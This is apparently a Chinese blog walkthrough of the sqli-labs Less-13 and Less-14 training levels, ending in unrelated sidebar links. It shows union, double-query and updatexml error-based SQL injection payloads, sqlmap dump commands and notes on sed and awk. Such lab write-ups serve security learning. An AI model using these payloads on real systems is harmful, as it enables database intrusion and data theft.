当前位置:网站首页>sqlilabs less13
sqlilabs less13
2022-07-01 14:03:00 【永远是深夜该多好。】
手动和脚本
很明显,精准的报错给了我们想要的东西。
构造以下SQL语句
select * from table where uname = ('') and password = ('')
查询表的时候发现没有返回,只有登陆成功
1') union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #
在构造语句的时候发现似乎能利用报错注入
1') union select count(*),concat((select table_name from information_schema.tables where table_schema=database()limit 0,1),floor(rand()*2))a from information_schema.tables group by a#
通过修改limit n,1的n来查询不同行
因为这个双注入是随机性,可能需要几次才能成功
字段名和数据同理,可以考虑burp suite 或者写个脚本。
嗯,来解释一下awk sed tr作用吧
awk -F 分隔符(比如“ > ”)以 > 为分隔符,从开头到第一个分隔符 > 为1,从第一个 > 到第二个为2…… {print$n} n是第n个 1就是从头到第一个分隔符
tr a b 是把a替换为b
sed ‘s/a/b/g’ s是替代 把a替换为b g是s替换命令里面的一个标记作用是替换所有的a,如果不加g只替换第一个a
‘s/(.*),/\1,/’ 会查找最后一个,替换为空 为什么呢
因为 .是匹配换行符以外单个字符, ,加上后面的单独字符
是重复前面的匹配N次或者0次 因为第一次是,真 再重复一次就是,真后面的单独字符 ,真好 因为重复N次所以,后面全部(除了换行符)全部都能匹配
于是我们给. 加上括号表示子表达式的开始和结束 因为没有限制所以匹配的是全体
然后如果我在(.*)后面加上一个英文逗号就变成了匹配末尾有英文逗号的那部分
是不是可以把最后一个英文逗号替换掉呢 上机试试!
可以看到替换掉了英文逗号以及它之前所有的字符,因为前两行末尾是英文逗号所以全行都被替换为感叹号,而第三行末尾是一串字符所以只有英文逗号之前被替换为感叹号了。那怎么不对啊。仔细想想,它匹配的是最后一个英文逗号以及它之前所有的,如果我把匹配的替换为匹配的会怎么样(注意\1会捕捉第一个()内的指定字符 \2则是第二个()内的)
是不是最后一个英文逗号没了
再来举个例子
把括号内的ab加上外面的c 也就是abc(注意后面没有加g,所以只替换第一个abc)替换为\1所引用的第一个括号内的字符ab,使用\2呢,就是把第一个abc替换为c
推荐自己动手加强理解
基于错误
前期构造sql语句打database时候打错意外发现还可能有基于错误的注入
1') and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)#
sqlmap
先抓包然后保存在文本文件 使用
sqlmap -r xx.txt
然后用 -dbs 、-D database_name -tables 和 -D database_name -T table_name --dump
less-14
less14和less13同理 sql语句由英文单引号加括号变成了英文双引号
边栏推荐
- [flask] flask starts and implements a minimal application based on flask
- 【IoT毕设.上】STM32+机智云AIoT+实验室安全监控系统
- 介绍一种对 SAP GUI 里的收藏夹事务码管理工具增强的实现方案
- 用对场景,事半功倍!TDengine 的窗口查询功能及使用场景全介绍
- [Jianzhi offer] 54 The k-th node of binary search tree
- 我们该如何保护自己的密码?
- That hard-working student failed the college entrance examination... Don't panic! You have another chance to counter attack!
- Introduction to distributed transactions (Seata)
- A new book by teacher Zhang Yujin of Tsinghua University: 2D vision system and image technology (five copies will be sent at the end of the article)
- SWT / anr problem - how to capture performance trace
猜你喜欢
[241. Design priority for operation expression]
被裁三个月,面试到处碰壁,心态已经开始崩了
[NLP] pre training model - gpt1
日志中打印统计信息的方案
The integration of computing and Internet enables the transformation of the industry, and the mobile cloud lights up a new roadmap for the future of digital intelligence
Open source internship experience sharing: openeuler software package reinforcement test
【修复版】仿我爱看电影网站模板/海洋CMS影视系统模板
Station B was scolded on the hot search..
App自动化测试开元平台Appium-runner
Etcd summary mechanism and usage scenarios
随机推荐
Blind box NFT digital collection platform system development (build source code)
[repair version] imitating the template of I love watching movies website / template of ocean CMS film and television system
一文读懂TDengine的窗口查询功能
Admire, Ali female program undercover more than 500 black production groups
Open source internship experience sharing: openeuler software package reinforcement test
Effet halo - qui dit qu'il y a de la lumière sur la tête est un héros
【IoT毕设.下】STM32+机智云AIoT+实验室安全监控系统
Error:Kotlin: Module was compiled with an incompatible version of Kotlin. The binary version of its
C语言基础知识
【Flask】Flask启程与实现一个基于Flask的最小应用程序
基于算力驱动、数据与功能协同的分布式动态(协同)渲染/功能运行时
[241. Design priority for operation expression]
User defined annotation realizes the function of verifying information
[flask] flask starts and implements a minimal application based on flask
Use lambda function URL + cloudfront to realize S3 image back to source
用对场景,事半功倍!TDengine 的窗口查询功能及使用场景全介绍
leetcode 322. Coin change (medium)
光环效应——谁说头上有光的就算英雄
Yan Rong looks at how to formulate a multi cloud strategy in the era of hybrid cloud
Interpretation of R & D effectiveness measurement framework